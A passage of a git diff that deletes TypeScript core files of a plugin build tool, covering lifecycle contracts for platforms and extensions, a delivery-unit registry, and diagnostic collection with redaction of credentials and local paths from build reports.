PluginProject; -} - -/** Extension build 阶段生成横向 Built State 和临时文件的上下文。 */ -export interface ExtensionBuildContext extends LifecycleContext { - readonly project: PluginProject; - readonly workDir: string; - /** 登记本次构建实际读取的源码或依赖文件,使 dev 可以跟踪完整生成图。 */ - readonly addWatchFile: (file: string) => void; -} - -/** Platform prepare 阶段创建初始 Draft 所需的上下文。 */ -export interface PlatformPrepareContext extends LifecycleContext { - readonly project: PluginProject; - readonly options: Readonly>; - readonly workDir: string; - readonly reportCompatibility: (entry: CompatibilityInput) => void; - readonly reportMetadata: (entry: MetadataDispositionInput) => void; -} - -/** Platform generateBundle 阶段读取完成 Adapter 合并后 Draft 的上下文。 */ -export interface PlatformGenerateContext extends LifecycleContext { - readonly project: PluginProject; - readonly documents: readonly DraftDocument[]; - readonly artifacts: readonly ArtifactInput[]; - readonly workDir: string; - readonly reportCompatibility: (entry: CompatibilityInput) => void; -} - -/** Platform validateBundle 阶段只读访问的临时物化候选。 */ -export interface MaterializedCandidate { - readonly root: string; - readonly unit: DeliveryUnit; -} - -/** Platform 对主单元或 Distribution 执行最终校验的上下文。 */ -export interface PlatformValidateContext extends LifecycleContext { - readonly candidate: MaterializedCandidate; -} - -/** Platform 组合 Marketplace 等 Distribution 时使用的受限上下文。 */ -export interface PlatformDistributionContext extends LifecycleContext { - readonly project: PluginProject; - readonly options: Readonly>; - readonly workDir: string; -} - -/** buildEnd 可观察且不直接泄露任意异常对象的失败摘要。 */ -export interface BuildFailureSummary { - readonly name: string; - readonly message: string; -} - -/** 成功、诊断失败或异常后都传给已初始化对象的清理上下文。 */ -export interface BuildEndContext extends LifecycleContext { - readonly projectRoot: string; - readonly workDir: string; - readonly environment: Readonly>; - readonly status: 'success' | 'failed'; - readonly error?: BuildFailureSummary; -} - -/** Extension Adapter 能读取和增量修改的唯一 Platform Draft 边界。 */ -export interface PlatformAdapterContext extends LifecycleContext { - readonly platform: PlatformAdapterDescription; - readonly project: PluginProject; - readonly getDocument: (id: string) => Readonly | undefined; - readonly emitArtifact: (input: ArtifactInput) => void; - readonly patchDocument: (input: DocumentAddPatch) => void; - readonly reportCompatibility: (entry: CompatibilityInput) => void; -} - -/** Extension 为一个 Platform 提供横向能力落地方式的桥接契约。 */ -export interface ExtensionPlatformAdapter { - readonly extensionApiVersion: typeof LIFECYCLE_API_VERSION; - readonly platform: PlatformId; - readonly platformApiVersion: typeof LIFECYCLE_API_VERSION; - /** 把 Extension Built State 以 add-only 方式应用到当前 Platform Draft。 */ - apply(context: PlatformAdapterContext, built: Readonly): Awaitable; -} - -/** definePlatform 接受的不带私有品牌的第三方 Platform 定义。 */ -export interface PlatformDefinition { - readonly id: string | PlatformId; - readonly apiVersion: typeof LIFECYCLE_API_VERSION; - readonly deliveryType: PlatformDeliveryType; - readonly strict?: boolean; - readonly options?: JsonObject; - readonly validateComponentFields?: (context: PlatformComponentValidationContext) => Awaitable; - readonly configResolved?: (context: ConfigResolvedContext) => Awaitable; - readonly buildStart?: (context: BuildStartContext) => Awaitable; - readonly prepare: (context: PlatformPrepareContext) => Awaitable; - readonly generateBundle: (context: PlatformGenerateContext) => Awaitable; - readonly validateBundle: (context: PlatformValidateContext) => Awaitable; - readonly generateDistributions?: ( - context: PlatformDistributionContext, - primaryUnits: readonly DeliveryUnit[], - ) => Awaitable; - readonly buildEnd?: (context: BuildEndContext) => Awaitable; -} - -/** 只能由 definePlatform 生成并由 Core 接受的名义化 Platform 实例。 */ -export interface AcpluginPlatform extends Omit { - readonly id: PlatformId; - readonly [platformBrand]: true; -} - -/** defineExtension 接受的不带私有品牌的第三方横向扩展定义。 */ -export interface ExtensionDefinition { - readonly name: string; - readonly apiVersion: typeof LIFECYCLE_API_VERSION; - /** 观察完整配置身份但不读取源码或产物。 */ - configResolved?(context: ConfigResolvedContext): Awaitable; - /** 在资源发现前初始化当前 Extension 的隔离工作目录。 */ - buildStart?(context: BuildStartContext): Awaitable; - /** 扫描当前 Extension 独占的作者格式并返回阶段状态。 */ - discover?(context: ExtensionDiscoverContext): Awaitable; - /** 对发现状态和规范 PluginProject 执行只读验证。 */ - validate?(context: ExtensionValidateContext, discovered: Readonly): Awaitable; - /** 在独占临时目录生成平台中立 Built State。 */ - build?(context: ExtensionBuildContext, discovered: Readonly): Awaitable; - readonly adapters: readonly ExtensionPlatformAdapter[]; - /** 无论成功或失败都执行的最终逆序清理 Hook。 */ - buildEnd?(context: BuildEndContext): Awaitable; -} - -/** 只能由 defineExtension 生成并由 Core 接受的名义化 Extension 实例。 */ -export interface AcpluginExtension - extends ExtensionDefinition { - readonly [extensionBrand]: true; -} - -/** - * 把经过格式校验的开放字符串转换为 PlatformId 品牌。 - * - * @param value Platform 定义或 Adapter 引用提供的平台标识。 - * @returns 仅在当前模块内完成品牌转换的 PlatformId。 - */ -function toPlatformId(value: string): PlatformId { - if (!PLATFORM_ID_PATTERN.test(value)) - throw new TypeError(`Platform id "${value}" must use lowercase kebab-case.`); - return value as PlatformId; -} - -/** - * 验证未知值是否为当前 Core 工厂创建且 API 版本兼容的 Platform。 - * - * @param value 配置解析阶段收到的未知候选。 - * @returns 品牌、版本和基础字段都有效时返回 true。 - */ -export function isAcpluginPlatform(value: unknown): value is AcpluginPlatform { - if (typeof value !== 'object' || value === null) - return false; - /** 读取私有 Symbol 和公共字段所需的安全索引视图。 */ - const candidate = value as Record; - return candidate[platformBrand] === true - && candidate.apiVersion === LIFECYCLE_API_VERSION - && typeof candidate.id === 'string' - && PLATFORM_ID_PATTERN.test(candidate.id) - && (candidate.deliveryType === 'plugin' || candidate.deliveryType === 'workspace' || candidate.deliveryType === 'package') - && (candidate.strict === undefined || typeof candidate.strict === 'boolean') - && isJsonObject(candidate.options) - && (candidate.validateComponentFields === undefined || typeof candidate.validateComponentFields === 'function') - && typeof candidate.prepare === 'function' - && typeof candidate.generateBundle === 'function' - && typeof candidate.validateBundle === 'function'; -} - -/** - * 递归复制并冻结 Platform 专属 JSON 配置,避免配置文件随后修改生命周期输入。 - * - * @param value 尚未越过 Core 信任边界的配置值。 - * @param seen 当前递归路径上的对象,用于拒绝循环引用。 - * @returns 只包含 JSON 值的不可变副本。 - */ -function normalizeJsonValue(value: unknown, seen: Set): JsonValue { - if (value === null || typeof value === 'string' || typeof value === 'boolean') - return value; - if (typeof value === 'number') { - if (!Number.isFinite(value)) - throw new TypeError('Platform options must contain only finite JSON numbers.'); - return value; - } - if (typeof value !== 'object') - throw new TypeError('Platform options must contain only JSON values.'); - if (seen.has(value)) - throw new TypeError('Platform options must not contain circular references.'); - seen.add(value); - if (Array.isArray(value)) { - /** 数组元素保持声明顺序,但每一项都转换为独立不可变副本。 */ - const result = Object.freeze(value.map(item => normalizeJsonValue(item, seen))); - seen.delete(value); - return result; - } - /** 只接受普通对象,避免类实例通过 getter 或原型行为进入生命周期。 */ - const prototype = Object.getPrototypeOf(value); - if (prototype !== Object.prototype && prototype !== null) - throw new TypeError('Platform options must use plain JSON objects.'); - /** 对象字段保持配置作者的值语义,Core 只提供冻结快照。 */ - const result: Record = {}; - for (const [key, child] of Object.entries(value)) - result[key] = normalizeJsonValue(child, seen); - seen.delete(value); - return Object.freeze(result); -} - -/** - * 判断未知值能否作为 Platform options 根对象。 - * - * @param value Platform 实例携带的未知配置。 - * @returns 值能够安全规范化为 JSON 对象时返回 true。 - */ -function isJsonObject(value: unknown): boolean { - if (value === undefined) - return true; - if (typeof value !== 'object' || value === null || Array.isArray(value)) - return false; - try { - normalizeJsonValue(value, new Set()); - return true; - } catch { - return false; - } -} - -/** - * 规范化 Platform options 根节点,并明确拒绝数组等非对象 JSON 值。 - * - * @param value Platform 定义声明的可选配置。 - * @returns 深度冻结的普通 JSON 对象。 - */ -function normalizePlatformOptions(value: unknown): JsonObject { - if (value === undefined) - return Object.freeze({}); - if (typeof value !== 'object' || value === null || Array.isArray(value)) - throw new TypeError('Platform options must use a JSON object.'); - return normalizeJsonValue(value, new Set()) as JsonObject; -} - -/** - * 为第三方 Platform 注入不可伪造品牌,并在配置进入生命周期前校验版本和 ID。 - * - * @param definition 不带品牌的 Platform 生命周期实现。 - * @returns 冻结且可由 Core 品牌校验的 Platform 实例。 - */ -export function definePlatform( - definition: TDefinition, -): Readonly & AcpluginPlatform { - if (definition.apiVersion !== LIFECYCLE_API_VERSION) - throw new TypeError(`Unsupported Platform API version "${String(definition.apiVersion)}".`); - /** 使用副本避免给配置作者持有的原对象追加内部状态。 */ - const platform = { - ...definition, - id: toPlatformId(definition.id), - options: normalizePlatformOptions(definition.options), - }; - Object.defineProperty(platform, platformBrand, { value: true, enumerable: false }); - return Object.freeze(platform) as Readonly & AcpluginPlatform; -} - -/** - * 验证未知值是否为当前 Core 工厂创建且 API 版本兼容的 Extension。 - * - * @param value 配置解析阶段收到的未知候选。 - * @returns 品牌、版本、名称和 Adapter 列表有效时返回 true。 - */ -export function isAcpluginExtension(value: unknown): value is AcpluginExtension { - if (typeof value !== 'object' || value === null) - return false; - /** 读取私有 Symbol 和公共字段所需的安全索引视图。 */ - const candidate = value as Record; - return candidate[extensionBrand] === true - && candidate.apiVersion === LIFECYCLE_API_VERSION - && typeof candidate.name === 'string' - && candidate.name.length > 0 - && Array.isArray(candidate.adapters); -} - -/** - * 验证并冻结 Extension 的一个 Platform Adapter。 - * - * @param adapter Extension 作者提供的 Adapter 定义。 - * @returns 使用规范 PlatformId 且不可变的 Adapter 副本。 - */ -function normalizeAdapter(adapter: ExtensionPlatformAdapter): ExtensionPlatformAdapter { - if (adapter.extensionApiVersion !== LIFECYCLE_API_VERSION) - throw new TypeError(`Unsupported Extension Adapter API version "${String(adapter.extensionApiVersion)}".`); - if (adapter.platformApiVersion !== LIFECYCLE_API_VERSION) - throw new TypeError(`Unsupported Platform Adapter API version "${String(adapter.platformApiVersion)}".`); - if (typeof adapter.apply !== 'function') - throw new TypeError('Extension Platform Adapter must provide apply().'); - return Object.freeze({ ...adapter, platform: toPlatformId(adapter.platform) }); -} - -/** - * 为第三方 Extension 注入不可伪造品牌,并拒绝版本错误或重复 Platform Adapter。 - * - * @param definition 不带品牌的 Extension 生命周期与 Adapter 定义。 - * @returns 冻结且可由 Core 品牌校验的 Extension 实例。 - */ -export function defineExtension( - definition: ExtensionDefinition, -): AcpluginExtension { - if (definition.apiVersion !== LIFECYCLE_API_VERSION) - throw new TypeError(`Unsupported Extension API version "${String(definition.apiVersion)}".`); - if (definition.name.trim().length === 0) - throw new TypeError('Extension name must not be empty.'); - /** 冻结后的 Adapter 副本,确保生命周期中平台映射不会变化。 */ - const adapters = definition.adapters.map(normalizeAdapter); - /** 用于拒绝同一 Extension 内部两个 Adapter 隐式覆盖同一 Platform。 */ - const platforms = new Set(); - for (const adapter of adapters) { - if (platforms.has(adapter.platform)) - throw new TypeError(`Extension "${definition.name}" has duplicate Adapter for Platform "${adapter.platform}".`); - platforms.add(adapter.platform); - } - /** 使用副本隔离配置作者持有的原始定义和 adapters 数组。 */ - const extension = { ...definition, adapters: Object.freeze(adapters) }; - Object.defineProperty(extension, extensionBrand, { value: true, enumerable: false }); - return Object.freeze(extension) as AcpluginExtension; -} diff --git a/packages/core/src/delivery-units.ts b/packages/core/src/delivery-units.ts deleted file mode 100644 index 1f548c3..0000000 --- a/packages/core/src/delivery-units.ts +++ /dev/null @@ -1,113 +0,0 @@ -import { ArtifactRegistry, type ArtifactSourcePolicies } from './artifacts.js'; -import { normalizeOutputPath } from './output-paths.js'; -import { compareCodeUnits } from './serialization.js'; -import type { DeliveryUnit, DeliveryUnitInput, PlatformId } from './contracts.js'; -import type { Artifact } from './types.js'; - -/** DeliveryUnit ID 使用的小写 kebab-case 规则。 */ -const DELIVERY_UNIT_ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; - -/** 管理一次构建中所有 Platform 主单元与 Distribution 的全局唯一性。 */ -export class DeliveryUnitRegistry { - /** 文件型 Artifact 按 Platform、Extension 与 Public owner 隔离的来源授权。 */ - readonly #sourcePolicies: ArtifactSourcePolicies; - /** 以 `(platform, unit-id)` 稳定键索引的不可变单元。 */ - readonly #units = new Map(); - - /** - * 创建全局 DeliveryUnit Registry。 - * - * @param sourcePolicies 所有单元共同使用但按 owner 隔离的 Artifact 来源授权。 - */ - constructor(sourcePolicies: ArtifactSourcePolicies) { - this.#sourcePolicies = sourcePolicies; - } - - /** - * 生成不会因连字符或其他字符产生歧义的单元唯一键。 - * - * @param platform Platform ID。 - * @param id Platform 内 DeliveryUnit ID。 - * @returns JSON tuple 形式的稳定键。 - */ - #key(platform: PlatformId, id: string): string { - return JSON.stringify([platform, id]); - } - - /** - * 校验、物化元数据并加入一个交付单元。 - * - * @param platform 创建该单元的品牌化 Platform ID。 - * @param input Platform 返回的单元输入。 - * @param inheritedArtifacts Draft 中已经确定 owner 的 Public/Extension Artifact。 - * @returns owner、hash、size 与 mode 完整的不可变 DeliveryUnit。 - */ - async add( - platform: PlatformId, - input: DeliveryUnitInput, - inheritedArtifacts: readonly Artifact[] = [], - ): Promise { - if (!DELIVERY_UNIT_ID_PATTERN.test(input.id)) - throw new Error(`DeliveryUnit id "${input.id}" must use lowercase kebab-case.`); - if (input.role === 'primary' && input.type === 'marketplace') - throw new Error('A primary DeliveryUnit cannot use marketplace type.'); - if (input.role === 'distribution' && input.type !== 'marketplace') - throw new Error('A distribution DeliveryUnit must use marketplace type.'); - /** 当前 Platform 内单元的全局唯一键。 */ - const key = this.#key(platform, input.id); - if (this.#units.has(key)) - throw new Error(`Duplicate DeliveryUnit "${platform}/${input.id}".`); - /** 单元内独占的 Artifact Registry,路径不会跨单元误判冲突。 */ - const artifacts = new ArtifactRegistry(this.#sourcePolicies); - /** Platform 是最终序列化产物的固定 owner。 */ - const owner = `platform:${platform}`; - /** Draft 既有 Artifact 的规范路径到原始 owner 映射。 */ - const inheritedByPath = new Map(inheritedArtifacts.map(artifact => [artifact.path, artifact])); - /** - * Distribution 可以把已经验证的主单元整体移动到自己的子目录,因此除了目标路径, - * 还要按 Core 冻结的 source 对象身份识别继承关系。只有调用方显式放入 - * inheritedArtifacts 的来源才能命中,Platform 不能借此取得其他 owner 的授权。 - */ - const inheritedBySource = new Map(inheritedArtifacts.map(artifact => [artifact.source, artifact])); - for (const artifact of input.artifacts) { - /** Platform 透传 Draft Artifact 时保留 Public 或 Extension owner。 */ - const inherited = inheritedByPath.get(normalizeOutputPath(artifact.path)) - ?? inheritedBySource.get(artifact.source); - /** 未继承的序列化文件由 Platform 自己拥有。 */ - const artifactOwner = inherited?.owner ?? owner; - /** 重新计算输入内容,不能信任 Platform 透传的旧 hash 字段。 */ - const added = await artifacts.add(artifactOwner, artifact); - if (inherited && (added.size !== inherited.size || added.sha256 !== inherited.sha256 || added.mode !== inherited.mode)) - throw new Error(`Platform changed inherited Artifact "${added.path}" owned by "${inherited.owner}".`); - } - /** 完成单元内全部路径校验后才加入全局 Registry。 */ - const unit: DeliveryUnit = Object.freeze({ - id: input.id, - platform, - role: input.role, - type: input.type, - artifacts: artifacts.artifacts, - }); - this.#units.set(key, unit); - return unit; - } - - /** @returns 按 Platform 与单元 ID 稳定排序的不可变单元快照。 */ - snapshot(): readonly DeliveryUnit[] { - return Object.freeze([...this.#units.values()].sort((left, right) => - compareCodeUnits(left.platform, right.platform) - || compareCodeUnits(left.id, right.id))); - } - - /** - * 丢弃某个 Platform 在候选验证失败前暂存的全部单元。 - * - * @param platform 需要回滚局部生成状态的 Platform ID。 - */ - removePlatform(platform: PlatformId): void { - for (const [key, unit] of this.#units) { - if (unit.platform === platform) - this.#units.delete(key); - } - } -} diff --git a/packages/core/src/diagnostics.ts b/packages/core/src/diagnostics.ts deleted file mode 100644 index 5b83971..0000000 --- a/packages/core/src/diagnostics.ts +++ /dev/null @@ -1,496 +0,0 @@ -import type { - CompatibilityEntry, - Diagnostic, - DiagnosticCollectorLike, - MetadataDispositionEntry, -} from './types.js'; -import type { PlatformId } from './contracts.js'; -import { compareCodeUnits } from './serialization.js'; - -/** 兼容性等级从完整保留到完全不支持的稳定排序权重。 */ -const COMPATIBILITY_RANK = { - native: 0, - transform: 1, - degraded: 2, - unsupported: 3, -} as const; - -/** 应按凭据处理、不能保留原值的对象字段名。 */ -const SECRET_KEY_PATTERN = /(?:authorization|credential|password|secret|token|api[_-]?key|cookie)/i; - -/** 报告深度脱敏时可额外提供的工程路径边界。 */ -export interface ReportRedactionOptions { - readonly roots?: readonly string[]; -} - -/** 描述一个 Component Subject 对其他 Subject 的依赖边。 */ -export interface CompatibilityDependency { - readonly subject: string; - readonly dependsOn: readonly string[]; -} - -/** - * 对可选字符串执行不依赖 locale 的稳定 code-unit 比较。 - * - * @param a 左侧可选字符串。 - * @param b 右侧可选字符串。 - * @returns 与 Array.sort 约定一致的比较结果。 - */ -function compareStrings(a: string | undefined, b: string | undefined): number { - return compareCodeUnits(a ?? '', b ?? ''); -} - -/** - * 清理即将写入诊断和报告的自由文本,避免泄露凭据与本机路径。 - * - * @param value Platform、Extension 或底层异常提供的原始文本。 - * @param options 可选的工程路径边界。 - * @returns 去除敏感内容和控制空白后的单行文本。 - */ -export function sanitizeReportText(value: string, options: ReportRedactionOptions = {}): string { - /** 先清理通用凭据形式和 acplugin 临时目录名称的中间文本。 */ - let safe = value - .replace(/\b(?:Bearer|Basic)\s+[^\s,;]+/gi, '') - .replace(/\b(?:token|secret|password|api[_-]?key)\s*[=:]\s*[^\s,;]+/gi, '') - .replace(/\.acplugin-(?:work|stage|backup|transaction|lock)-[^\s/\\]+/gi, ''); - for (const root of [...(options.roots ?? [])].sort((a, b) => b.length - a.length)) { - if (root.length > 0) - safe = safe.split(root).join(''); - } - return safe - // 仅在字符串开头或非路径字符边界识别绝对路径,不能破坏 `assets/icon.png` 等协议相对路径。 - .replace(/(?') - .replace(/[\r\n\t]+/g, ' ') - .trim(); -} - -/** - * 递归清理任意未知值,阻止配置对象、函数、字节和循环引用进入 JSON 报告。 - * - * @param value 尚未建立报告信任边界的任意值。 - * @param options 工程路径脱敏选项。 - * @param seen 当前递归路径已经访问的对象集合。 - * @returns 只包含安全 JSON 形态或稳定占位符的值。 - */ -export function redactReportValue( - value: unknown, - options: ReportRedactionOptions = {}, - seen: WeakSet = new WeakSet(), -): unknown { - if (typeof value === 'string') - return sanitizeReportText(value, options); - if (value === null || typeof value === 'boolean') - return value; - if (typeof value === 'number') - return Number.isFinite(value) ? value : ''; - if (typeof value === 'undefined' || typeof value === 'function' || typeof value === 'symbol' || typeof value === 'bigint') - return ''; - if (value instanceof Uint8Array) - return ''; - if (seen.has(value)) - return ''; - seen.add(value); - if (Array.isArray(value)) { - /** 数组顺序属于报告语义,仅递归清理其元素。 */ - const result = value.map(item => redactReportValue(item, options, seen)); - seen.delete(value); - return result; - } - /** 只允许普通对象进入报告,类实例、Map 和其他行为对象统一隐藏。 */ - const prototype = Object.getPrototypeOf(value); - if (prototype !== Object.prototype && prototype !== null) { - seen.delete(value); - return ''; - } - /** 按原字段建立安全副本;最终 JSON serializer 会进一步稳定键顺序。 */ - const result: Record = {}; - for (const [key, child] of Object.entries(value)) { - result[key] = SECRET_KEY_PATTERN.test(key) - ? '' - : redactReportValue(child, options, seen); - } - seen.delete(value); - return result; -} - -/** - * 复制源码位置并隐藏绝对路径,同时保留安全的工程相对路径。 - * - * @param location 原始源码位置。 - * @param options 工程路径脱敏选项。 - * @returns 可安全写入构建报告的位置;未提供位置时返回 undefined。 - */ -function safeLocation( - location: import('./types.js').SourceLocation | undefined, - options: ReportRedactionOptions = {}, -): import('./types.js').SourceLocation | undefined { - if (!location) - return undefined; - /** 对外报告使用的路径,绝对路径统一替换为占位符。 */ - const safePath = /^(?:[A-Za-z]:[\\/]|\/)/.test(location.path) ? '' : sanitizeReportText(location.path, options); - return { ...location, path: safePath }; -} - -/** - * 对单条诊断执行完整的报告安全处理,并修正不符合规范的诊断码。 - * - * @param diagnostic 尚未进入 Collector 的诊断。 - * @param options 工程路径脱敏选项。 - * @returns 可安全持久化和展示的诊断副本。 - */ -function safeDiagnostic(diagnostic: Diagnostic, options: ReportRedactionOptions = {}): Diagnostic { - return { - ...diagnostic, - code: /^[A-Z][A-Z0-9_]*$/.test(diagnostic.code) ? diagnostic.code : 'DIAGNOSTIC_CODE_INVALID', - message: sanitizeReportText(diagnostic.message, options), - phase: sanitizeReportText(diagnostic.phase, options), - ...(diagnostic.extension === undefined ? {} : { extension: sanitizeReportText(diagnostic.extension, options) }), - ...(diagnostic.owner === undefined ? {} : { owner: sanitizeReportText(diagnostic.owner, options) }), - ...(diagnostic.component === undefined ? {} : { component: { ...diagnostic.component, id: sanitizeReportText(diagnostic.component.id, options) } }), - ...(diagnostic.fieldPath === undefined ? {} : { fieldPath: diagnostic.fieldPath.map(field => typeof field === 'string' ? sanitizeReportText(field, options) : field) }), - ...(diagnostic.hint === undefined ? {} : { hint: sanitizeReportText(diagnostic.hint, options) }), - ...(diagnostic.location === undefined ? {} : { location: safeLocation(diagnostic.location, options)! }), - ...(diagnostic.related === undefined ? {} : { related: diagnostic.related.map(location => safeLocation(location, options)!) }), - }; -} - -/** - * 按 Platform、Extension、Owner、源码位置和内容对诊断进行确定性排序。 - * - * @param diagnostics 任意收集顺序的诊断列表。 - * @param options 工程路径脱敏选项。 - * @returns 不修改输入的稳定排序副本。 - */ -export function sortDiagnostics( - diagnostics: readonly Diagnostic[], - options: ReportRedactionOptions = {}, -): Diagnostic[] { - return diagnostics.map(diagnostic => safeDiagnostic(diagnostic, options)).sort((a, b) => - compareStrings(a.platform, b.platform) - || compareStrings(a.extension, b.extension) - || compareStrings(a.owner, b.owner) - || compareStrings(a.location?.path, b.location?.path) - || (a.location?.line ?? 0) - (b.location?.line ?? 0) - || (a.location?.column ?? 0) - (b.location?.column ?? 0) - || compareStrings(a.code, b.code) - || compareStrings(a.message, b.message)); -} - -/** - * 清理兼容性条目中的自由文本,并按 Platform、Subject、能力与等级稳定排序。 - * - * @param entries Platform 或 Adapter 产生的兼容性说明。 - * @param options 工程路径脱敏选项。 - * @returns 可安全写入报告的排序副本。 - */ -export function sortCompatibility( - entries: readonly CompatibilityEntry[], - options: ReportRedactionOptions = {}, -): CompatibilityEntry[] { - return entries.map(entry => ({ - ...entry, - subject: sanitizeReportText(entry.subject, options), - capability: sanitizeReportText(entry.capability, options), - reason: sanitizeReportText(entry.reason, options), - ...(entry.transformation === undefined ? {} : { transformation: sanitizeReportText(entry.transformation, options) }), - ...(entry.causes === undefined ? {} : { causes: entry.causes.map(cause => sanitizeReportText(cause, options)) }), - })).sort((a, b) => - compareStrings(a.platform, b.platform) - || compareStrings(a.subject, b.subject) - || compareStrings(a.capability, b.capability) - || COMPATIBILITY_RANK[a.level] - COMPATIBILITY_RANK[b.level] - || compareStrings(a.reason, b.reason)); -} - -/** - * 按 Platform、字段和处理结果稳定排序元数据去向。 - * - * @param entries Platform 产生的元数据字段去向。 - * @param options 工程路径脱敏选项。 - * @returns 完成文本清理的稳定排序副本。 - */ -export function sortMetadataDispositions( - entries: readonly MetadataDispositionEntry[], - options: ReportRedactionOptions = {}, -): MetadataDispositionEntry[] { - return entries.map(entry => ({ - ...entry, - field: sanitizeReportText(entry.field, options), - reason: sanitizeReportText(entry.reason, options), - ...(entry.output === undefined ? {} : { output: sanitizeReportText(entry.output, options) }), - })).sort((a, b) => - compareStrings(a.platform, b.platform) - || compareStrings(a.field, b.field) - || compareStrings(a.disposition, b.disposition)); -} - -/** 汇总一次构建生命周期内的诊断,并在写入时统一建立脱敏边界。 */ -export class DiagnosticCollector implements DiagnosticCollectorLike { - /** 按产生顺序保存的安全诊断,读取时再执行确定性排序。 */ - readonly #items: Diagnostic[] = []; - /** 当前运行需要从程序化 BuildResult 中隐藏的工程路径。 */ - readonly #redaction: ReportRedactionOptions; - - /** - * 创建诊断 Collector,并固定当前运行的报告脱敏边界。 - * - * @param redaction 工程路径边界。 - */ - constructor(redaction: ReportRedactionOptions = {}) { - this.#redaction = redaction; - } - - /** @returns 不暴露内部可变数组的确定性诊断快照。 */ - get diagnostics(): readonly Diagnostic[] { - return sortDiagnostics(this.#items); - } - - /** @returns 存在至少一个结构、安全或兼容性错误时返回 true。 */ - get hasErrors(): boolean { - return this.#items.some(item => item.severity === 'error'); - } - - /** - * 清理并加入一条完整诊断。 - * - * @param diagnostic 调用方构造的原始诊断。 - */ - add(diagnostic: Diagnostic): void { - this.#items.push(safeDiagnostic(diagnostic, this.#redaction)); - } - - /** - * 使用错误级别创建并加入诊断。 - * - * @param code 稳定、可供工具识别的诊断码。 - * @param message 面向开发者的错误说明。 - * @param options 除级别、代码和消息外的上下文。 - */ - error( - code: string, - message: string, - options: Partial> = {}, - ): void { - this.add({ code, message, severity: 'error', phase: options.phase ?? 'unknown', ...options }); - } - - /** - * 使用警告级别创建并加入诊断。 - * - * @param code 稳定、可供工具识别的诊断码。 - * @param message 面向开发者的警告说明。 - * @param options 除级别、代码和消息外的上下文。 - */ - warning( - code: string, - message: string, - options: Partial> = {}, - ): void { - this.add({ code, message, severity: 'warning', phase: options.phase ?? 'unknown', ...options }); - } -} - -/** 汇总、排序并传播 Platform 功能兼容性结论。 */ -export class CompatibilityCollector { - /** 尚未应用依赖传播的原始与派生兼容性条目。 */ - readonly #items: CompatibilityEntry[] = []; - - /** @returns 完成文本清理和确定性排序的兼容性快照。 */ - get entries(): readonly CompatibilityEntry[] { - return sortCompatibility(this.#items); - } - - /** @returns 尚未执行依赖传播的当前条目数量,可作为阶段 checkpoint。 */ - get size(): number { - return this.#items.length; - } - - /** - * 加入一条 Platform 功能兼容性结论。 - * - * @param entry Platform 或 Extension Adapter 产生的结论。 - */ - add(entry: CompatibilityEntry): void { - this.#items.push(entry); - } - - /** - * 批量加入兼容性结论。 - * - * @param entries 保持业务含义、不要求已排序的条目。 - */ - addAll(entries: readonly CompatibilityEntry[]): void { - this.#items.push(...entries); - } - - /** - * 把依赖 Subject 的最差兼容性递归传播到使用方,并保留完整 cause chain。 - * - * @param dependencies 已完成 Core 图校验的 Subject 依赖边。 - */ - propagateDependencies(dependencies: readonly CompatibilityDependency[]): void { - /** Subject 到其直接依赖列表的稳定索引。 */ - const dependencyMap = new Map(dependencies.map(item => [item.subject, [...item.dependsOn].sort(compareStrings)])); - /** 当前 Collector 中实际出现的 Platform 集合。 */ - const platforms = [...new Set(this.#items.map(item => item.platform))].sort(compareStrings); - for (const platform of platforms) { - /** 当前 Platform 下每个 Subject 已经报告的原始条目。 */ - const bySubject = new Map(); - for (const entry of this.#items.filter(item => item.platform === platform)) { - /** 当前 Subject 已有条目或首次创建的可写列表。 */ - const items = bySubject.get(entry.subject) ?? []; - items.push(entry); - bySubject.set(entry.subject, items); - } - /** 避免依赖闭包重复计算的最差结论缓存。 */ - const memo = new Map(); - - /** - * 计算一个 Subject 把全部依赖计入后的最差兼容性。 - * - * @param subject 当前求值的 Subject。 - * @param stack 防御性循环检测使用的递归路径。 - * @returns 原始或依赖传播产生的最差条目。 - */ - const worstFor = (subject: string, stack: ReadonlySet): CompatibilityEntry | undefined => { - if (memo.has(subject)) - return memo.get(subject); - /** 当前 Subject 自身最差的原始条目。 */ - let worst = [...(bySubject.get(subject) ?? [])] - .sort((a, b) => COMPATIBILITY_RANK[b.level] - COMPATIBILITY_RANK[a.level] || compareStrings(a.capability, b.capability))[0]; - if (stack.has(subject)) - return worst; - /** 递归调用使用且不会修改父级路径的集合副本。 */ - const nextStack = new Set(stack).add(subject); - for (const dependency of dependencyMap.get(subject) ?? []) { - /** 直接依赖计入其自身依赖闭包后的最差结果。 */ - const cause = worstFor(dependency, nextStack); - if (!cause || (worst && COMPATIBILITY_RANK[cause.level] <= COMPATIBILITY_RANK[worst.level])) - continue; - worst = { - platform, - subject, - capability: `dependency:${dependency}`, - level: cause.level, - reason: `${subject} depends on ${dependency}, whose compatibility is ${cause.level}.`, - causes: [dependency, ...(cause.causes ?? [])], - }; - } - memo.set(subject, worst); - return worst; - }; - - for (const subject of [...dependencyMap.keys()].sort(compareStrings)) { - /** 传播前该 Subject 自身已有的最差等级。 */ - const original = [...(bySubject.get(subject) ?? [])] - .sort((a, b) => COMPATIBILITY_RANK[b.level] - COMPATIBILITY_RANK[a.level])[0]; - /** 传播完整依赖闭包后得到的最差条目。 */ - const propagated = worstFor(subject, new Set()); - if (propagated && propagated.capability.startsWith('dependency:') - && (!original || COMPATIBILITY_RANK[propagated.level] > COMPATIBILITY_RANK[original.level])) - this.#items.push(propagated); - } - } - } - - /** - * 仅把 degraded/unsupported 按当前 Platform strictness 转换为诊断。 - * - * @param collector 构建共享的诊断收集器。 - * @param platform 当前 Platform ID 与严格模式。 - * @param start 仅处理此条目下标之后结论的阶段 checkpoint。 - */ - applyStrictness( - collector: DiagnosticCollectorLike, - platform: { readonly id: string; readonly strict: boolean }, - start = 0, - ): void { - /** 当前阶段 checkpoint 之后属于指定 Platform 的兼容性结论。 */ - const entries = sortCompatibility(this.#items.slice(start)).filter(entry => entry.platform === platform.id); - applyCompatibilityStrictness(collector, platform, entries); - } -} - -/** 汇总 Platform 元数据去向,并把 omitted 固定报告为字段级 warning。 */ -export class MetadataDispositionCollector { - /** 以 Platform 和字段为键保存的唯一元数据去向。 */ - readonly #items = new Map(); - - /** 构建共享的诊断出口,用于 omitted warning 和冲突 error。 */ - readonly #diagnostics: DiagnosticCollectorLike; - - /** - * 创建元数据去向 Collector。 - * - * @param diagnostics 构建共享的诊断 Collector。 - */ - constructor(diagnostics: DiagnosticCollectorLike) { - this.#diagnostics = diagnostics; - } - - /** @returns 按 Platform 和字段确定性排序的元数据去向。 */ - get entries(): readonly MetadataDispositionEntry[] { - return sortMetadataDispositions([...this.#items.values()]); - } - - /** - 